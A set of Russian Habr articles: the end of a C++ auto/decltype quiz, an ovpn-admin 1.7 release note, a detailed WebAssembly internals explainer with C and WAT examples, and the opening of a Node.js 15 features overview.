auto ri1 = foo1(); // int
auto ri2 = foo2(); // int
auto ri3 = foo3(); // int
auto& ri4 = foo(); // Не скомпилируется
auto& ri5 = foo1(); // int&
auto& ri6 = foo2(); // Не скомпилируется
auto& ri7 = foo3(); // const int&
auto&& ri8 = foo(); // int&&
auto&& ri9 = foo1(); // int&
auto&& ri10 = foo2(); // const int&&
auto&& ri11 = foo3(); // const int&
int k = 5;
decltype(k)&& rk = k; // Не скомпилируется
decltype(foo())&& ri12 = foo(); // int&&
decltype(foo1())&& ri13 = foo1(); // int&
int i = 3;
decltype(i) ri14; // int
decltype((i)) ri15; // int&
}
```
Скомпилируются ли следующие фрагменты?
```
2. auto lmbd = [](auto i){...}; // Сейчас - нет, но в С++14 - да
3. void foo(auto i); // Нет
4. decltype(auto) var = some_expression; // Да, в С++14
5. auto var = {1, 2, 3}; // Да, тип = std::initializer_list
6. template void foo(T t){}
foo({1, 2, 3}); // Нет
``` | https://habr.com/ru/post/206458/ | null | ru | null |
# Веб-интерфейс ovpn-admin для управления пользователями OpenVPN обновился до версии 1.7
[ovpn-admin](https://github.com/flant/ovpn-admin) — простой веб-интерфейс для управления сертификатами и маршрутами для пользователей OpenVPN. Утилита изначально была разработана для внутренних проектов «Фланта». Этой весной мы решили, что ovpn-admin будет полезен не только нам, и выложили его как Open Source-проект на GitHub.
Напомним, что с помощью утилиты можно генерировать сертификаты для новых пользователей, отзывать и восстанавливать сертификаты, передавать метрики в Prometheus и т. д. Код написан на Go, лицензия — Apache 2.0. Подробнее о возможностях ovpn-admin см. в [этом анонсе](https://habr.com/ru/company/flant/blog/543986/).
Что нового в ovpn-admin
-----------------------
Утилита получила ряд доработок, которые мы представили в версии 1.7.0. После этого вышло еще несколько релизов с улучшениями, так что последняя на момент публикации версия — [1.7.4](https://github.com/flant/ovpn-admin/releases/tag/1.7.4). Среди новых фич в ovpn-admin 1.7.x:
* возможность указывать собственный путь для шаблонов ccd (опция `--templates.ccd-path`) и конфигурационного файла пользователя (`--templates.clientconfig-path`);
* автоматическое определение параметра `remote` (в шаблоне `client.conf.tpl`) при подключении внешнего балансировщика нагрузки в Kubernetes (опция `--ovpn.server.behindLB` — для включения, `ovpn.service` — для указания имени сервиса в K8s типа LoadBalancer);
* возможность указывать сеть для сервера OpenVPN через переменную окружения (переменные `OVPN_SERVER_NET` и `OVPN_SERVER_MASK` для OpenVPN, `OVPN_SERVER_NETWORK` — для ovpn-admin).
* возможность настройки других параметров ovpn-admin через переменные окружения.
Основные баги, которые были исправлены:
* возможная ошибка при первичном удалении правил `iptables`, из-за которой ovpn-admin не запускался в Docker-контейнере на Ubuntu Server 20.04;
* отключение пользователя при отзыве сертификата;
* некорректное отображение имени пользователя во всплывающих уведомлениях;
* проверка кастомного адреса пользователя в ccd на уникальность.
Кроме того, была реализована автовыкладка собранного бинарного файла ovpn-admin через GitHub Actions для Linux-систем с архитектурой amd64, i386, arm и arm64.
Многие из упомянутых фич появились благодаря сторонним контрибьюторам из сообщества — большое спасибо им за участие!
Вместо заключения
-----------------
У нас не было больших планов по развитию ovpn-admin, но выглядит так, что она оказалась действительно полезной. Заметна активность сообщества, и у проекта уже [почти 300 звёзд](https://github.com/flant/ovpn-admin/stargazers) на GitHub. Конечно, будем рады новым звёздам, пользователям и улучшениям!
P. S.
-----
Читайте также в нашем блоге:
* «[Представляем ovpn-admin — веб-интерфейс для управления пользователями OpenVPN](https://habr.com/ru/company/flant/blog/543986/)»;
* «[Наш рецепт отказоустойчивого VPN-сервера на базе tinc, OpenVPN, Linux](https://habr.com/ru/company/flant/blog/338628/)». | https://habr.com/ru/post/584316/ | null | ru | null |
# Технопорно с WebAssembly
По просьбам трудящихся, пишу о внутреннем устройстве WebAssembly.
WebAssembly — байткод для стековой виртуальной машины. Значит, для запуска кода такой нужны интерпретатор, стек и хранилище кода. Если мы хотим взаимодействовать с внешним миром, нужен интерфейс к внешней машине, хосту. Дополнительно стандарт определяет две структуры: непрерывную память и таблицы. В версии MVP стандарта их может быть по одной штуке каждого, или не быть вовсе.
В итоге, наш технобордель выглядит так:
* Интерпретатор
* Интерфейс к хосту
* Стек
* Хранилище кода
* Память
* Таблица
Займёмся делом!
Стековая виртуальная машина.
----------------------------
Есть два базовых вида машинных архитектур: стековая и регистровая. Нас интересует стековая.
[](http://www.sternkn.com/stack-based-vs-register-based-virtual-machine-architecture-and-the-dalvik-vm/)
Все операции стековой машины, очевидно, работают со стеком переменных. У виртуальной машины WebAssembly две особенности:
* Формализованность: по коду всегда можно однозначно вычислить размер стека и типы значений на любом этапе исполнения
* Независимость стека: переменные на стеке не могут быть адресованы по указателю
Остальные принципы работы машины обычны: прежде, чем выполнить операцию, операнды нужно положить в стек. Операция забирает аргументы из стека, выполняется и кладёт результат в стек.
Когда вы вызываете функцию из WebAssembly, интерпретатор:
1. Кладёт аргументы функции на стек
2. Дополняет их локальными переменными
3. Выполняет работу
4. Снимает локальные переменные и параметры со стека, оставляя только результат
В стандарте всего 4 типа переменных:
* i32: 32-битное целое
* i64: 64-битное целое
* f32: 32-битное с плавающей точкой
* f64: 64-битное с плавающей точкой
Не определена ни знаковость, ни типы 16-битных и 8-битных значений. Всё это отдано на откуп компилятору исходного языка. В случае в C/C++/Rust локальные переменные будут расширены до 32-битных значений. Указатели представляются как i32, что позволяет адресовать только 4гб памяти. Версия wasm64 с 64-битными указателями в разработке.
Посмотрим на примере:
```
int increment(int value) {
return value + 1;
}
```
```
(module
;; Cигнатура функции: берёт один i32, возвращает один i32
(type (;0;) (func (param i32) (result i32)))
;; А это - сама функция
(func (;0;) (type 0) (param i32) (result i32)
(local i32 i32)
i32.const 1 ;; Размещаем 1 на стеке
set_local 1 ;; Устанавливаем локальную переменную 1, забирая аргумент со стека
get_local 0 ;; Кладём на стек переменную 0 (это входной параметр)
get_local 1 ;; Кладём на стек переменную 1
i32.add ;; Суммируем два последних аргумента на стеке
set_local 2 ;; Кладём в переменную 2 результат со стека
get_local 2 ;; Кладём на стек переменную 2
return) ;; Выходим из функции, возвращая результат
(export "incr_decr" (func 0)))
```
**По мелочи**Синтаксис подсвечен для ocaml, который построен на таких же [S-выражениях](https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjWkJ7BqaPYAhXIFZoKHbGXBP4QFggnMAA&url=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2FS-%25D0%25B2%25D1%258B%25D1%2580%25D0%25B0%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5&usg=AOvVaw0X9i5v-boa4mVb6TIuQMWZ), как и текстовый формат WebAssembly. Вдруг такой грязный хак кому пригодится.
Как видно, компилятор создаёт довольно много ненужного кода по управлению локальными переменными. Для устранения этого, совсем недавно в binaryen [добавлен проход оптимизатора](https://github.com/WebAssembly/binaryen/commit/a0de358f7d73222501775e5f21ed4ec9838311cb).
Примеры привожу не в рукописном виде S-выражений, а в виде декомпиляции бинарного формата с помощью WABT. Так проще для понимания с непривычки, ИМХО.
Устройство кода.
----------------
Код в WebAssembly это команды для виртуальной машины, управляющие положением дел на стеке. Традиционно они называются опкодами (от operation code). Стандартный набор кодов меньше 255, потому при бинарном кодировании такие коды занимают один байт. Наборы расширений (SIMD, потоки, исключения) определяют свои наборы опкодов, для которых используются однобайтные префиксы. То есть, опкод расширения занимает два байта.
Опкодами представлены все основные операции: арифметика, преобразования типов, работа с локальными переменными и памятью, вызовы функций, управление потоком исполнения.
Опкоды сгруппированы в функции. У каждой функции есть порядковый номер и сигнатура: список параметров и возвращаемых значений с указанием типа. На основе сигнатуры определяется, сколько значений нужно взять из стека, и сколько вернуть.
Функции вызываются опкодами `call` и `call_indirect`. Cперва на стек нужно положить аргументы, а в результате аргументы будут сняты, а результат ~~покладен~~ добавлен на стек.
```
(func (;0;) (type 0) (param f64 f32) (result f32)
;; Принимаем два параметра и возвращаем второй
get_local 1
)
(func (;1;) (type 1) (result f32)
;; добавляем два параметра на стек
f64.const 0x1p+6 (;=64;)
f32.const 0x1p+5 (;=32;)
;; вызываем функцию 0
call 0
;; на стеке останется результат вызова,
;; который пробросится и в исходный вызов
)
```
В традиционном ассемблере циклы и условные переходы организуются с помощью аналогов `goto`. Но в WebAssembly ~~из ненависти к goto~~ пошли другим путём.
Внутри функции код организован в блоки. Всего блоков три вида:
* `block .. end` — обычный блок, с помощью которого организуются условные переходы, устанавливает метку перехода на опкод `end`
* `loop .. end` — блок для организации циклов, устанавливает метку перехода на опкод `loop` (то есть, команда прерывания блока на самом деле перезапускает этот блок)
* `if .. else .. end` — выделенный блок для условий, прерывание блока вызывает переход к опкоду `end`, как и для обычного блока.
К блокам есть команды перехода:
* `br` — безусловный переход
* `br_if` — условный переход, берёт значение со стека и прерывает целевой блок, если значение не нуль
* `br_table` — переход по таблице, используется для аналогов switch, прерывает блок, определяемый по индексу, взятому со стека
Параметр команды перехода — блок, который она прерывает. Блок указывается по глубине вложенности: 0 — последний открытый блок, 1 — сразу перед последним открытым.
Блоки служат ограничителями стека и могут возвращать значения. Внутри блока нельзя снять со стека аргументы, которые были на стеке во время входа в блок. Если возврат значения блоком не определён, размер стека на входе в блок будет соответствовать размеру на выходе из блока. Возвращаемые значения будут добавлены на стек сверху.
Система вышла довольно непривычной и для тех, кто привык к традиционным `if-else-end` и `while`, и для тех, кто привык работать с `goto`.
Выглядит это так:
```
(func (type 1) (param i32) (result i32)
i32.const 1
block (result i32) ;; начинаем внешний блок
i32.const 2
drop ;; убираем последнее значение со стека
i32.const 4
block (result i32) ;; начинаем внутренний блок
i32.const 8
get_local 0 ;; кладём на стек первый параметр функции
br_if 1 ;; выходим из внешнего блока по условию со стека
;; если выход был успешен, на стеке останется константа 8 как результат
drop ;; убираем константу 8 со стека
i32.const 1 ;; устанавливаем новый результат
end
br_if 0 ;; отсюда внешний блок имеет индекс 0, а не 1
drop
i32.const 16
end
i32.add ;; возвращаем результат сложения
)
```
С переходом по таблице чуть сложнее:
```
(func (type 5) (param i32) (result i32)
block ;; Будет блоком 4
block ;; Будет блоком 3
block ;; Будет блоком 2
block ;; Будет блоком 1
block ;; Будет блоком 0
get_local 0 ;; Берём параметр
;; значение со стека используется как индекс в таблице
;; если индекс слишком большой, выбирается последнее
;; значение (4 в данном случае)
br_table 3 2 1 0 4
i32.const 99
return
end
i32.const 100
return
end
i32.const 101
return
end
i32.const 102
return
end
i32.const 103
return
end
i32.const 104
)
```
Для понимания, на C это выглядит так:
```
int switch_test(int l0) {
switch(l0) {
case 0: return 103; break;
case 1: return 102; break;
case 2: return 101; break;
case 3: return 100; break;
default: return 104; break;
}
}
```
Далее, циклы выглядят так:
```
(func (;16;) (type 2) (param i64) (result i64)
(local i64)
i64.const 1
set_local 1
block ;; переход на этот блок (1) прервёт выполнение цикла
loop ;; а на этот (0): запустит следующую итерацию
get_local 0
i64.eqz
br_if 1 ;; по условию прерываем блок
get_local 0
get_local 1
i64.mul
set_local 1
get_local 0
i64.const 1
i64.sub
set_local 0
br 0 ;; переходим на следующую итерацию
end
unreachable
end
get_local 1
)
```
**Подробности из кухни написания интерпретатора**Хоть ты тресни, но конкретно в коде для исполнения все увиденные мной интерпретаторы преобразуют все контрольные инструкции в аналоги goto ещё на этапе чтения. Так быстрее и привычнее для машинного кода. Из каких соображений для байткода был выбран именно такой формат управляющих конструкций? Неужели только для красивого *ручного* написания?
Память
------
Сложные операции в WebAssembly выполняются через непрерывную память. Для WebAssembly из памяти хоста выделяются непрерывные блоки памяти страницами по 64 килобайта. По требованиям стандарта, блоки должны выделяться только для специальных нужд, в них не должны храниться ни стек, ни таблицы, ни внешние ресурсы. Адресация внутри памяти строго контролируется, получение или запись по адресу вне блока считаются ошибкой. Таким образом, создаётся песочница для безопасной работы с памятью. Чтобы зловреды на wasm не имели доступа к памяти хоста.
Поскольку стек ограничен базовыми типами данных, все операции над сложными и составными типами выполняются через память. В этой же памяти хранятся статические и глобальные переменные, строковые литералы.
Изнутри с памятью работают опкоды вида `TYPE.storeN` и `TYPE.loadN`. Первый записывает переменную или её часть в память по заданному смещению, второй — загружает по заданному смещению.
Память — единственный способ передавать достаточно большие объекты составных типов между WebAssembly и хостом. На хосте память обычно представлена массивом байт. Указатели на память — переменные типа `i32`, хранящие смещение внутри этого массива. WebAssembly может запросить больше памяти операцией `grow_memory`. В таком случае, обычно, выделяется новый массив с новым размером, старые данные копируются в новый массив.
Имея знания об устройстве памяти, можно, наконец, написать самую известную программу:
```
const char *hello_world() {
return "Hello World!";
}
```
```
(module
(type (;0;) (func (result i32)))
(func (;0;) (type 0) (result i32)
;; Строка будет записана в память при запуске модуля
;; Хост сможет получить эту строку по смещению внутри памяти
i32.const 16 ;; При вызове функции вернётся 16 - смещение строки в памяти модуля
return)
(memory (;0;) 1)
(export "hello_world" (func 0))
;; Компиляторы обычно резервируют первые байты памяти для собственных нужд,
;; а пользовательские данные начинают записывать со смещением.
;; Наша строка записана с позиции 16
(data (i32.const 16) "Hello World!\00"))
```
Таблицы
-------
Таблица — непрерывный контейнер для элементов определённого типа (одного из базовых типов WebAssembly). Таблицы, как и память, могут использоваться для связи с хостом. В отличии от памяти, таблицы строго типизированы. С точки зрения дизайна, на базе таблиц могут быть сделаны списки ссылок для сборки мусора, списки внешних ресурсов вроде дескрипторов файлов и сокетов. Сейчас таблица допускается только одна и используется она со строго определённой целью: для работы `call_indirect`.
`call_indirect`, он же непрямой или виртуальный вызов — инструмент для вызова кода, имя которому не может быть дано при компиляции. Показать это можно на примере виртуальных функций в C++. При компиляции мы определяем смещение функции в таблице виртуальных функций, а саму таблицу можно определить во время работы программы.
`call_indirect` используется и для вызовов указателей на функции. Таким способом можно организовать вызов указателя на функцию хоста, которая не была импортирована в модуль напрямую: поместить эту функцию в таблицу во время исполнения кода и использовать `call_indirect`.
Разбираться проще на примере:
```
struct Vec2 {
float x;
float y;
Vec2(float x, float y) : x(x), y(y) { }
virtual ~Vec2() { }
virtual float sq_dist() const{ return x * x + y * y; }
virtual bool is_3d() const { return false; }
};
struct Vec3 : Vec2 {
float z;
Vec3(float x, float y, float z) : Vec2(x, y), z(z) { }
virtual ~Vec3() { }
virtual float sq_dist() const{ return Vec3::sq_dist() + z * z; }
virtual bool is_3d() const { return true; }
};
Vec2 makeVec2(float x, float y) {
return Vec2 ( x, y );
}
Vec3 makeVec3(float x, float y, float z) {
return Vec3 ( x, y, z );
}
float sq_dist(const Vec2 &vec) {
return vec.sq_dist();
}
```
```
(module
(type (;0;) (func (param i32) (result f32)))
(type (;1;) (func (param i32)))
(type (;2;) (func))
(type (;3;) (func (param i32) (result i32)))
(type (;4;) (func (param i32 f32 f32)))
(type (;5;) (func (param i32 f32 f32 f32)))
(import "env" "_ZdlPv" (func (;0;) (type 1)))
(func (;1;) (type 4) (param i32 f32 f32) ... return)
(func (;2;) (type 3) (param i32) (result i32) ... return)
(func (;3;) (type 1) (param i32) ... return)
(func (;4;) (type 0) (param i32) (result f32) ... return)
(func (;5;) (type 3) (param i32) (result i32) ... return)
(func (;6;) (type 5) (param i32 f32 f32 f32)
;; Это конструктор Vec3(float x, float y, float z)
;; Составные типы передаются через память
;; Первый аргумент - адрес в памяти, в который будет записана структура
(local i32 i32 i32 i32)
i32.const 36 ;; Смещение в таблице виртуальных методов для Vec3
i32.const 8 ;; Первые 8 байт в таблице зарезервированы для отслеживания
;; неправильно созданных вызовов
i32.add ;; Вычисляем реальное смещение таблицы в памяти
set_local 7 ;; И записываем в переменную
;; Первым значением в памяти Vec3 записывается адрес виртуальной таблицы
;; Таким образом, x записывается со смещением в 4 байта
get_local 0
get_local 1
f32.store offset=4 ;; записываем значение x
get_local 0
get_local 2
f32.store offset=8 ;; записываем значение y
get_local 0
get_local 7
i32.store ;; записываем адрес виртуальной таблицы
get_local 0
get_local 3
f32.store offset=12 ;; записываем значение z
return)
(func (;7;) (type 1) (param i32) ... return)
(func (;8;) (type 0) (param i32) (result f32) ... return)
(func (;9;) (type 3) (param i32) (result i32) ... return)
(func (;10;) (type 0) (param i32) (result f32)
;; float sq_dist(const Vec2 &vec)
;; Параметр - адрес структуры в памяти
(local i32 i32 f32)
get_local 0
i32.load ;; Загружаем адрес виртуальной таблицы
set_local 2
get_local 2
i32.load offset=8 ;; Загружаем индекс нашей функции в таблице по смещению 8
;; То есть, это третья по счёту функция в таблице
set_local 1
get_local 0
get_local 1
call_indirect (type 0) ;; Заполняем аргументы и вызываем функцию
return)
(func (;11;) (type 2)
;; Для сообщения об ошибке при динамическом вызове компилятор создаёт
;; функцию, которая явно вызывает ошибку
unreachable)
(table (;0;) 8 8 anyfunc)
(memory (;0;) 1)
(export "memory" (memory 0))
(export "_Z7sq_distRK4Vec2" (func 10))
;; Таблица адресуемых функций. По индексу 0 записана функция с ошибкой
;; По индексам 3 и 6 - реализации sq_dist для разных типов
;; (функция вызова читает из таблицы виртуальных методов по смещению 8,
;; начало таблицы смещено ещё на 8, а по смещению 16 в первой таблице записано
;; значение 3, а во второй - 6)
(elem (i32.const 0) 11 2 3 4 5 7 8 9)
;; Таблица виртуальных методов для Vec2
(data (i32.const 12) "\00\00\00\00\00\00\00\00\01\00\00\00\02\00\00\00\03\00\00\00\04\00\00\00")
;; Таблица виртуальных методов для Vec3
(data (i32.const 36) "\00\00\00\00\00\00\00\00\01\00\00\00\05\00\00\00\06\00\00\00\07\00\00\00"))
```
Глобальные переменные
---------------------
Глобальные переменные это как локальные, только для всех. В модуле есть список глобальных переменных, получить доступ к которым может любая функция в модуле с помощью опкодов `get_global` и `set_global`. Глобальные переменные бывают изменяемыми и постоянными. Тип глобальных переменных, как и локальных, ограничен базовыми. Если нужно хранить нечто более сложное — используется память, а переменная будет указателем на неё.
Основное назначение глобальных переменных — передача глобального состояния хосту и от хоста. Если вы используете глобальную переменную при компиляции своего модуля, компилятор, скорее всего, разместит её в линейной памяти и не будет создавать глобальный объект.
**Комментарий аффтара**Мне вообще не удалось заставить LLVM создать глобальную переменную внутри модуля, только импортируемую. С одной стороны, это понятно, и глобальные переменные в общем смысле — глобальное зло. Но если есть механизм — должен быть и способ его использовать. А то ж\*па есть, а слова нет.
Ну, поехали...
```
typedef struct {
char valueChar;
short valueShort;
int valueInt;
long valueLong;
long long valueLongLong;
unsigned char valueUnsignedChar;
unsigned short valueUnsignedShort;
unsigned int valueUnsignedInt;
unsigned long valueUnsignedLong;
unsigned long long valueUnsignedLongLong;
float valueFloat;
double valueDouble;
char *valueCharPointer;
char valueCharArray[25];
int valueIntArray[3];
} test_struct;
extern test_struct g_importedStruct;
static test_struct g_internalStruct = {
.valueChar = -1,
.valueShort = -2,
.valueInt = -3,
.valueLong = -4,
.valueLongLong = -5,
.valueUnsignedChar = 1,
.valueUnsignedShort = 2,
.valueUnsignedInt = 3,
.valueUnsignedLong = 4,
.valueUnsignedLongLong = 5,
.valueFloat = 123.0f,
.valueDouble = 5.0,
.valueCharPointer = "StringValue"
};
test_struct *get_imported_by_ptr() {
return &g_importedStruct;
}
test_struct get_imported_by_value() {
return g_importedStruct;
}
test_struct *get_internal_by_ptr() {
return &g_internalStruct;
}
test_struct get_internal_by_value() {
return g_internalStruct;
}
extern float g_importedFloat;
float get_imported_float() {
return g_importedFloat;
}
```
```
(module
(type (;0;) (func (param i32 i32 i32) (result i32)))
(type (;1;) (func (result i32)))
(type (;2;) (func (param i32)))
(type (;3;) (func (result f32)))
;; в коде не включено ни одного заголовка,
;; так что memcpy - самодеятельность компилятора
;; в webassembly нет эффективного способа копировать куски памяти
;; и компилятор решил попросить такой у хоста
(import "env" "memcpy" (func (;0;) (type 0)))
(import "env" "g_importedStruct" (global (;0;) i32)) ;; наша g_importedStruct
(import "env" "g_importedFloat" (global (;1;) i32)) ;; почему-то i32...
(func (;1;) (type 1) (result i32) ;; get_imported_by_ptr
get_global 0 ;; Просто возвращаем глобальную переменную по индексу
return)
(func (;2;) (type 2) (param i32) ;; get_imported_by_value
;; Прошу заметить, здесь мы принимаем параметр, хотя в коде на С
;; мы структуру возвращаем. Это, с одной стороны, RVO, а, с другой,
;; без известного системе механизма распределения памяти иного
;; варианта нет
get_local 0 ;; параметр - указатель на блок памяти, в который запишем структуру
get_global 0 ;; глобальная переменная - тоже указатель на блок памяти
i32.const 112 ;; размер блока
call 0 ;; вызываем memcpy(dest, source, size)
drop ;; убираем результат вызова
return)
(func (;3;) (type 1) (result i32) ;; get_internal_by_ptr
;; Здесь всё проще, поскольку положение структуры в памяти
;; мы знаем на этапе компиляции
i32.const 16 ;; его и возвращаем
return)
(func (;4;) (type 2) (param i32) ;; get_internal_by_value
;; то же самое, что и в get_imported_by_value,
;; но с заранее известным указателем
get_local 0
i32.const 16
i32.const 112
call 0
drop
return)
(func (;5;) (type 3) (result f32) ;; get_imported_float
;; как очевидно из вызова f32.load, наша g_importedFloat тоже указатель
i32.const 0 ;; Компилятор предполагает, что указатель может быть с каким-то
;; смещением. Скорее всего, это связано с выравниванием в памяти,
;; которое для float не нужно.
get_global 1
i32.add
f32.load
return)
(memory (;0;) 1)
(export "memory" (memory 0))
(export "get_imported_by_ptr" (func 1))
(export "get_imported_by_value" (func 2))
(export "get_internal_by_ptr" (func 3))
(export "get_internal_by_value" (func 4))
;; Здесь можно посмотреть, как наша g_internalStruct лежит в памяти
(data (i32.const 16) "\ff\00\fe\ff\fd\ff\ff\ff\fc\ff\ff\ff\00\00\00\00\fb\ff\ff\ff\ff\ff\ff\ff\01\00\02\00\03\00\00\00\04\00\00\00\00\00\00\00\05\00\00\00\00\00\00\00\00\00\f6B\00\00\00\00\00\00\00\00\00\00\14@\80\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00")
;; И отдельно от неё лежит строковый литерал, который в структуре
;; определён как указатель
(data (i32.const 128) "StringValue\00"))
```
Общение с хостом
----------------
Высшая форма организации WebAssembly — модуль. WebAssembly распространяется, загружается и исполняется в виде модулей.
Всего у нас набралось 4 типа объектов в WebAssembly: функции, память, таблицы и глобальные переменные. Каждый из этих объектов может быть импортирован и экспортирован (и даже одновременно импортирован и экспортирован).
Модуль содержит все определённые в нём объекты, и описывает структуру импортов и экспортов. Как можно было заметить, все объекты (и ещё сигнатуры, которые `type`) имеют свои порядковые номера. Пространство номеров у каждого типа своё. То есть, функция 2 не имеет никакого отношения ни к глобальной переменной 2, ни к сигнатуре 2. Пространство номеров обычно начинается с импортированных объектов.
С точки зрения кода, вызов функции хоста или получение глобальной переменной хоста не отличаются от обычных: так же `call N` или `get_global N`. Интерпретатор на основе метаданных модуля сам определит, нужно ли вызвать функцию хоста, или даже функцию другого модуля, этим хостом загруженного.
С памятью и таблицами всё сложнее. При совместном использовании несколькими модулями одной памяти или одной таблицы нужно определиться с регионами, в которых каждый из модулей хранит свои глобальные данные. По этому поводу есть [рекомендация](http://webassembly.org/docs/dynamic-linking/), но пока она слабо поддерживается компиляторами.
В итоге, для общения между модулем и хостом:
* Хост может определять и изменять глобальные переменные, импортируемые модулем
* Хост может вызывать экспортируемые функции из модуля, а модуль — импортировать и вызывать функции хоста
* Хост может записывать данные в память и таблицы модуля, и читать из них же
Заключение
----------
С основными внутренностями я закончил. Практически к каждому пункту можно написать огромный список дополнений и особенностей компиляции, но это уже частные случаи. Как видно, хоть технология и называется **Web**Assembly, внутри к вебу никаких привязок нет.
Для компиляции и декомпиляции примеров использовался пакет WABT и LLVM 5.0. Emscripten я не использую, ибо он, как раз, создаёт кучу всего, предназначенного исключительно для веб-модулей, запускаемых совместно с JavaScript.
Далее будем рассуждать, чего нужно в стандартной библиотеке, как распределять память, и как запускать весь этот бедлам на мобильных платформах.
P.S. Хотелось написать нечто для фронтэндеров, которые хотят разобраться с сей технологией. Не уверен, что получилось. Если вы — фронтендер, и вам что-то не понятно — пишите в комментарии смело, буду исправляться. | https://habr.com/ru/post/345450/ | null | ru | null |
# Что нового в Node.js 15?
> Делимся переводом статьи, в которой собраны подробности о новых функциях 15-й версии Node.js.
Версия [Node.js 15](https://nodejs.org/en/blog/release/v15.0.0/) была выпущена 20 октября 2020 года. Среди основных изменений:
* режим throw при необработанных отклонениях
* особенности языка V8 8.6
* [NPM 7](https://medium.com/better-programming/the-step-by-step-guide-to-understanding-and-adopting-npm-7-914504f7090f)
* экспериментальная поддержка QUIC
* N-API Version 7
* доработка API асинхронного локального хранилища (Async Local Storage)
Давайте подробнее рассмотрим, что эти нововведения из себя представляют и как их можно использовать.
### Использование NVM для обзора Node
В [предыдущей статье](https://medium.com/better-programming/use-nvm-to-manage-node-js-and-npm-versions-2bd0d0875f9f) мы разобрали инструкции по использованию [NVM (Node Version Manager)](https://github.com/nvm-sh/nvm) для управления версиями Node.js и NPM. В нашей среде были установлены Node.js 12.16.0 и NPM 6.14.8. Запустив **nvm install node**, мы установили Node.js 15.4.0 и NPM7.0.15.
У нас открыто два окна, в одном Node.js 12, а в другом — Node.js 15.
В окне **node12**:
```
$ nvm use 12
Now using node v12.16.0 (npm v6.14.8)
```
В окне **node15**:
```
$ nvm use 15
Now using node v15.4.0 (npm v7.0.15)
```
Теперь мы можем исследовать эту версию.
### Режим Throw при необработанном отклонении промиса (promise)
Событие **unhandledRejection** генерируется каждый раз, когда промис (promise) отклоняется и обработчик ошибок не прикрепляется к промису в ходе цикла обработки событий. Начиная с версии Node.js 15, режим по умолчанию для **unhandledRejection** был изменен с **warn** на **throw**. В режиме **throw**, если хук **unhandledRejection** не установлен, **unhandledRejection** генерируется как исключение, не пойманное методом **catch**.
Создайте программу, чтобы промис отклонялся (rejected) с сообщением об ошибке:
```
function myPromise() {
new Promise((_, reject) =>
setTimeout(
() =>
reject({
error: 'The call is rejected with an error',
}),
1000
)
).then((data) => console.log(data.data));
}
myPromise();
```
Когда вы запускаете этот код в окне **node12**, появляется длинное сообщение с предупреждением:
```
$ node myPromise.js
(node:79104) UnhandledPromiseRejectionWarning: #
(node:79104) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli\_unhandled\_rejections\_mode). (rejection id: 1)
(node:79104) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.Users that have an unhandledRejection hook should see no change in behavior, and it’s still possible to switch modes using the --unhandled-rejections=mode process flag.
```
При запуске этого кода в окне **node15** генерируется ошибка **UnhandledPromiseRejection**:
```
$ node myPromise.js
node:internal/process/promises:227
triggerUncaughtException(err, true /* fromPromise */);
^[UnhandledPromiseRejection: This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason "#".] {
code: 'ERR\_UNHANDLED\_REJECTION'
}
```
Добавьте обработчик ошибок в ветвь **then** в приведенном ниже коде (**.catch((**error**) => console.log(**error**.error))** также работает).
```
function myPromise() {
new Promise((_, reject) =>
setTimeout(
() =>
reject({
error: 'The call is rejected with an error',
}),
1000
)
).then(
(data) => console.log(data.data),
(error) => console.log(error.error)
);
}
myPromise();
```
Теперь код запускается корректно в обоих окнах (**node12** и **node15**):
```
$ node myPromise.js
The call is rejected with an error
```
Обработчик ошибок для промисов рекомендуется написать. Однако возможны случаи, когда ошибки не ловятся методом catch. Рекомендуется настроить хук unhandledRejection для обнаружения потенциальных ошибок.
```
function myPromise() {
new Promise((_, reject) =>
setTimeout(
() =>
reject({
error: 'The call is rejected with an error',
}),
1000
)
).then((data) => console.log(data.data));
}
myPromise();
process.on('unhandledRejection', (reason, promise) => {
console.log('reason is', reason);
console.log('promise is', promise);
// Application specific logging, throwing an error, or other logic here
});
```
Хук **unhandledRejection** работает как в Node.js 12, так и в Node.js 15. После его установки, **unhandledRejection** обрабатывается как нужно.
```
$ node myPromise.js
reason is { error: 'The call is rejected with an error' }
promise is Promise { { error: 'The call is rejected with an error' } }
```
### V8 8.6 Новые возможности языка
V8, движок JavaScript, обновлен с 8.4 до 8.6. версии. Помимо разных хитростей для повышения производительности, новая версия V8 обладает следующими фичами:
* **Promise.any()** и **AggregateError** (из V8 8.5)
* **await setTimeout** и **AbortController** (экспериментальная фича)
* **String.prototype.replaceAll()** (из V8 8.5)
* Логические операторы присваивания **&&=**, **||=** и **??=** (из V8 8.5)
#### Promise.any() и AggregateError
Для начала давайте рассмотрим существующий метод **Promise.all()**.
[Promise.all()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) принимает итерируемое из промисов в качестве входных данных и возвращает один промис, который исполняется как массив результатов входных промисов.
Следующая программа вызывает **Promise.all()** для двух исполненных (resolved) промисов:
```
function myPromise(delay) {
return new Promise((resolve) =>
setTimeout(
() =>
resolve({
data: The data from ${delay} ms delay,
}),
delay
)
);
}
async function getData() {
try {
const data = await Promise.all([myPromise(5000), myPromise(100)]);
console.log(data);
} catch (error) {
console.log(error);
}
}
getData();
```
**Promise.all()** возвращает промис, который исполнится, когда все входные промисы будут исполнены (resolved), или если iterable не содержит обещаний:
```
$ node myPromise.js
[
{ data: 'The data from 5000 ms delay' },
{ data: 'The data from 100 ms delay' }
]
```
Следующая программа вызывает **Promise.all()** для двух отклоненных (rejected) промисов.
```
function myPromise(delay) {
return new Promise((_, reject) =>
setTimeout(
() =>
reject({
error: The error from ${delay} ms delay,
}),
delay
)
);
}
async function getData() {
try {
const data = await Promise.all([myPromise(5000), myPromise(100)]);
console.log(data);
} catch (error) {
console.log(error);
}
}
getData();
```
